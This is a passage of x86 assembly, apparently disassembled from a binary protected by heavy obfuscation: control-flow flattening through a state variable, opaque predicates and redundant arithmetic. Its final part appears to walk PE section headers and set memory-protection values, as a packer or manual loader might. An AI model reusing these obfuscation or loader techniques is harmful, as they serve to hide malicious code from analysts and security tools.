sub edx, 0xe7fc7671
add edx, 0x6f54be7c
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe7fc7671
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xf51e9803
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xfebc7a48
add edx, 0xd7ffaafc
sub edx, 0xfebc7a48
sub edx, 0x441d18c8
sub edx, 0xf51e9803
add edx, 0x441d18c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or dl, al
mov al, 1
xor al, 0
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, bh
or dh, bl
xor al, dh
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x95c], cl
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov bh, dl
and bh, 0
mov byte [ebp - 0x95e], bh
mov bh, dh
and bh, 0xff
and al, dl
mov byte [ebp - 0x95d], al
mov al, byte [ebp - 0x95e]
or cl, al
mov al, byte [ebp - 0x95d]
or bh, al
mov al, byte [ebp - 0x95c]
xor cl, bh
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor ch, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov dl, ah
and dl, bh
or al, dl
mov bh, 1
xor bh, 1
mov dl, al
xor dl, bh
and dl, al
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ah, dh
or al, 1
xor ah, 0xff
and ah, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ch, al
mov byte [ebp - 0x95b], ch
mov bh, ah
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dl, ah
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, dh
or al, cl
xor dl, al
xor ch, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
xor bl, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov al, dl
xor al, 0xff
mov dh, ah
xor dh, al
mov al, byte [ebp - 0x95b]
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov byte [ebp - 0x95a], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x95a]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b2dcb40
mov ecx, 0xae85083d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x74]
xor edx, edx
sub edx, 0xb3ec268
add edx, 0
add eax, 0xfcd38806
add eax, edx
sub eax, 0xfcd38806
sub eax, 0xa94e5097
sub eax, 0xd6de590f
add eax, 0xa94e5097
sub eax, 0x465b1657
add eax, ecx
add eax, 0x465b1657
add eax, 0xdb864d92
add eax, 0xd6de590f
sub eax, 0xdb864d92
xor ecx, ecx
sub ecx, 0x9ff154ce
sub ecx, 0xb3ec268
add ecx, 0x9ff154ce
sub eax, 0x3eb3bc4
sub eax, ecx
add eax, 0x3eb3bc4
mov ecx, dword [ebp - 0x158]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, 0xbcb8c188
sub ecx, eax
add ecx, 0xbcb8c188
mov eax, 0x83db6198
add eax, 0
add eax, ecx
sub eax, 0x83db6198
xor esi, esi
sub esi, 0
xor ecx, ecx
sub ecx, 0x4e6776de
add esi, ecx
xor ecx, ecx
sub ecx, esi
add ecx, 0x7f48cd71
sub ecx, edx
sub ecx, 0x7f48cd71
sub ecx, 0x61b5ea88
sub ecx, 0x4e6776de
add ecx, 0x61b5ea88
sub eax, 0xb8afb511
sub eax, 0x3604a3e6
add eax, 0xb8afb511
add eax, 0x7f31e9f8
add eax, ecx
sub eax, 0x7f31e9f8
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3604a3e6
add ecx, eax
xor eax, eax
sub eax, ecx
xor edx, edx
sub edx, eax
add edx, 0
xor ecx, ecx
sub ecx, 0
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor edx, edx
sub edx, 1
add edx, 0
mov edi, 0x2d0ddd2b
add edi, 0
add edi, edx
sub edi, 0x2d0ddd2b
mov edx, ecx
sub edx, 0x4d6b8f7d
sub edx, 0xe221685e
add edx, 0x4d6b8f7d
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x3768fdf4
add edx, 0xe221685e
add edx, 0x3768fdf4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0x98f], bl
cmp eax, 0xa
setl dl
mov byte [ebp - 0x98b], dl
mov bh, bl
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ah
or al, cl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, cl
and al, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov byte [ebp - 0x975], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ch, 1
xor ch, 1
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, 1
xor cl, 0
mov ah, al
xor ah, cl
and ah, al
mov al, 1
xor al, 1
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov ch, ah
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and ah, dh
mov byte [ebp - 0x991], ah
mov ah, bh
and ah, 0xff
and al, dh
mov byte [ebp - 0x990], al
mov al, byte [ebp - 0x991]
or dl, al
mov al, byte [ebp - 0x990]
or ah, al
mov al, byte [ebp - 0x98f]
xor dl, ah
mov ah, byte [ebp - 0x975]
or ch, bh
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov dh, cl
xor dh, 0xff
mov ch, dl
and ch, dh
xor dl, 0xff
and cl, dl
or ch, cl
mov byte [ebp - 0x95f], ch
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, bh
or cl, dl
xor dh, cl
mov cl, ah
xor cl, 0xff
mov dl, dh
and dl, cl
xor dh, 0xff
mov cl, ah
and cl, dh
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0x989], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x98a], al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov byte [ebp - 0x98e], cl
mov cl, al
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or bh, al
mov al, byte [ebp - 0x98e]
or ch, dh
xor bh, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or bh, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov dl, ch
and dl, 0
mov byte [ebp - 0x98d], dl
mov dl, dh
and dl, 0xff
and al, ch
mov byte [ebp - 0x98c], al
mov al, byte [ebp - 0x98d]
or ah, al
mov al, byte [ebp - 0x98c]
or dl, al
mov al, byte [ebp - 0x98b]
xor ah, dl
mov dl, byte [ebp - 0x95f]
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov dh, bh
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and bh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dh, bh
or cl, ch
xor dh, cl
xor dh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dh, ah
or cl, 0
xor dh, 0xff
and dh, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov al, 1
xor al, 0
and al, 0
mov bh, 1
xor bh, 0
mov cl, bh
and cl, 0
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x98a]
or dl, bh
xor al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, dl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dl, bh
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or al, dl
mov dl, byte [ebp - 0x989]
or ch, bh
xor al, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x980], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov byte [ebp - 0x981], al
mov dl, 1
xor dl, 0
and dl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x989]
or ah, bh
mov bh, byte [ebp - 0x980]
xor dl, ah
mov byte [ebp - 0x97d], dl
mov ah, 1
xor ah, 0
mov dl, bh
xor dl, ah
mov ah, byte [ebp - 0x97d]
and dl, bh
xor ah, 0xff
mov bh, al
xor bh, ah
mov ah, byte [ebp - 0x981]
and bh, al
xor ah, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x988], al
mov al, 1
xor al, 0
mov byte [ebp - 0x987], al
mov al, byte [ebp - 0x988]
or ah, al
mov al, byte [ebp - 0x987]
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x97d]
mov byte [ebp - 0x986], ah
xor cl, 0xff
xor al, 0xff
mov ah, 1
xor ah, 0
or cl, al
mov al, byte [ebp - 0x986]
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, bh
xor dl, bh
or ah, dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x982], bh
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x983], dl
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x985], al
mov al, byte [ebp - 0x983]
and al, 0
mov byte [ebp - 0x984], al
mov al, byte [ebp - 0x985]
and cl, dl
or bh, al
mov al, byte [ebp - 0x984]
or al, cl
mov cl, byte [ebp - 0x983]
xor bh, al
mov al, byte [ebp - 0x982]
or al, cl
mov cl, byte [ebp - 0x981]
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov al, ah
xor al, 0xff
mov dl, bh
and dl, al
mov al, byte [ebp - 0x980]
xor bh, 0xff
and ah, bh
or dl, ah
mov byte [ebp - 0x977], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x97c], bh
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0x97f], al
mov al, ah
and al, 0
mov byte [ebp - 0x97e], al
mov al, byte [ebp - 0x97f]
and cl, dl
or bh, al
mov al, byte [ebp - 0x97e]
or al, cl
mov cl, byte [ebp - 0x97d]
xor bh, al
mov al, byte [ebp - 0x97c]
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bh
or al, ah
xor dl, al
mov ah, 1
xor ah, 0
mov byte [ebp - 0x979], ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0x978], al
mov bh, 1
xor bh, 0
and ah, 0
mov al, bh
and al, 0
mov byte [ebp - 0x97b], al
mov al, byte [ebp - 0x978]
and al, 0
mov byte [ebp - 0x97a], al
mov al, byte [ebp - 0x97b]
and cl, bh
or ah, al
mov al, byte [ebp - 0x97a]
or al, cl
mov cl, byte [ebp - 0x979]
xor ah, al
mov al, byte [ebp - 0x978]
or cl, al
mov al, byte [ebp - 0x977]
xor cl, 0xff
or bh, 0
and cl, bh
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, dh
xor cl, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bh
or al, dh
or dl, ch
xor al, dl
mov dl, cl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x976], bh
and cl, ch
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x974], al
mov al, byte [ebp - 0x976]
or al, cl
mov cl, byte [ebp - 0x975]
mov byte [ebp - 0x973], al
mov al, byte [ebp - 0x974]
or bh, al
mov al, byte [ebp - 0x973]
xor al, bh
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or al, dl
mov byte [ebp - 0x970], al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
or dh, dl
mov dl, 1
xor dl, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and al, ch
mov byte [ebp - 0x972], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x971], al
mov al, byte [ebp - 0x972]
and ch, 1
or bh, al
mov al, byte [ebp - 0x971]
or al, ch
xor bh, al
xor bh, 0xff
mov al, 1
xor al, 1
mov ch, 1
xor ch, 1
or bh, al
mov al, byte [ebp - 0x970]
or ch, 1
xor bh, 0xff
and bh, ch
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x96d], ah
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and bh, dl
mov byte [ebp - 0x96f], bh
mov bh, dh
and bh, 0xff
and al, dl
mov byte [ebp - 0x96e], al
mov al, byte [ebp - 0x96f]
or ah, al
mov al, byte [ebp - 0x96e]
or bh, al
mov al, byte [ebp - 0x96d]
xor ah, bh
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or dl, ch
or al, ah
xor dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or dh, al
mov ch, 1
xor ch, 0
and ch, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov byte [ebp - 0x96c], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x96b], al
mov al, byte [ebp - 0x96c]
and bh, 1
or ch, al
mov al, byte [ebp - 0x96b]
or al, bh
xor ch, al
mov byte [ebp - 0x960], ch
mov bh, 1
xor bh, 0
mov al, ah
xor al, bh
and al, ah
mov byte [ebp - 0x96a], al
xor cl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov ch, dh
xor ch, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 1
or ch, al
mov al, byte [ebp - 0x96a]
or bh, 1
xor ch, 0xff
and ch, bh
mov bh, byte [ebp - 0x960]
mov byte [ebp - 0x966], ch
xor bh, 0xff
mov ch, bl
xor ch, bh
and ch, bl
mov byte [ebp - 0x965], ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x967], bh
mov ch, cl
xor ch, 0xff
mov bl, 1
xor bl, 0
and bh, 0
and al, bl
mov byte [ebp - 0x969], al
mov al, ch
and al, 0
mov byte [ebp - 0x968], al
mov al, byte [ebp - 0x969]
and cl, bl
or bh, al
mov al, byte [ebp - 0x968]
or al, cl
mov cl, byte [ebp - 0x967]
xor bh, al
mov al, byte [ebp - 0x966]
or cl, ch
mov ch, byte [ebp - 0x965]
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x961], bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x962], cl
and bl, 0
and al, cl
mov cl, byte [ebp - 0x965]
mov byte [ebp - 0x964], al
mov al, ch
and al, 0
mov byte [ebp - 0x963], al
mov al, byte [ebp - 0x962]
and cl, al
mov al, byte [ebp - 0x964]
or bl, al
mov al, byte [ebp - 0x963]
or al, cl
mov cl, byte [ebp - 0x962]
xor bl, al
mov al, byte [ebp - 0x961]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0xff
and bl, al
mov al, byte [ebp - 0x960]
or cl, bh
or ch, bl
xor cl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
or ah, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dh, ch
or cl, ah
xor dh, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and dh, cl
mov bl, ch
and bl, 0
and bh, cl
or ah, dh
mov dh, byte [ebp - 0x95f]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, 1
xor al, 1
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 1
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or cl, bl
or ch, dh
xor cl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, ah
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bl
or al, dh
or cl, ch
xor al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b2dcb40
mov ecx, 0x8a6fd234
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x1b9bf414
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x2b879c61
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x8aa71907
jmp 0x4b1f8e
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0xcbe4e405
add eax, ecx
xor ecx, ecx
sub ecx, 0x41d9084c
add eax, ecx
sub eax, 0xd8623a84
add eax, 0xcbe4e405
add eax, 0xd8623a84
xor ecx, ecx
sub ecx, 0x4dbcd05f
add eax, ecx
add eax, 0x7c0e2a21
add eax, 1
sub eax, 0x7c0e2a21
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x4dbcd05f
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x53770bc1
sub ecx, 0x41d9084c
add ecx, 0x53770bc1
sub eax, 0x66d9e3f0
sub eax, ecx
add eax, 0x66d9e3f0
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1c0], 0x95529fa0
jmp 0x4b1f8e
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x68]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x1fc16d39
jmp 0x4b1f8e
mov eax, dword [ebp - 0x144]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x1c0], 0xa4f1da7f
jmp 0x4b1f8e
mov edi, dword [ebp - 0x5c]
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xa2588a54
mov ecx, 0xffffffff
xor ecx, 0xa2588a54
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xa2588a54
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov ecx, 0xffffffff
xor ecx, 0x534f33a4
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xa231f424
or ecx, edx
or eax, 0xa231f424
xor ecx, 0xffffffff
and ecx, eax
mov ebx, 0xffffffff
xor ebx, 0x534f33a4
and ebx, 0xa59362ef
mov edx, 0xffffffff
xor edx, 0xa59362ef
mov esi, edx
and esi, 0x534f33a4
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xa59362ef
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
mov dword [ebp - 0x9cc], ebx
xor ebx, 0xffffffff
xor ebx, 0x40000000
and ebx, 0x40000000
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x534f33a4
mov esi, 0xffffffff
xor esi, 0x7ef013bf
or edx, eax
mov eax, dword [ebp - 0x9cc]
or esi, 0x7ef013bf
xor edx, 0xffffffff
and edx, esi
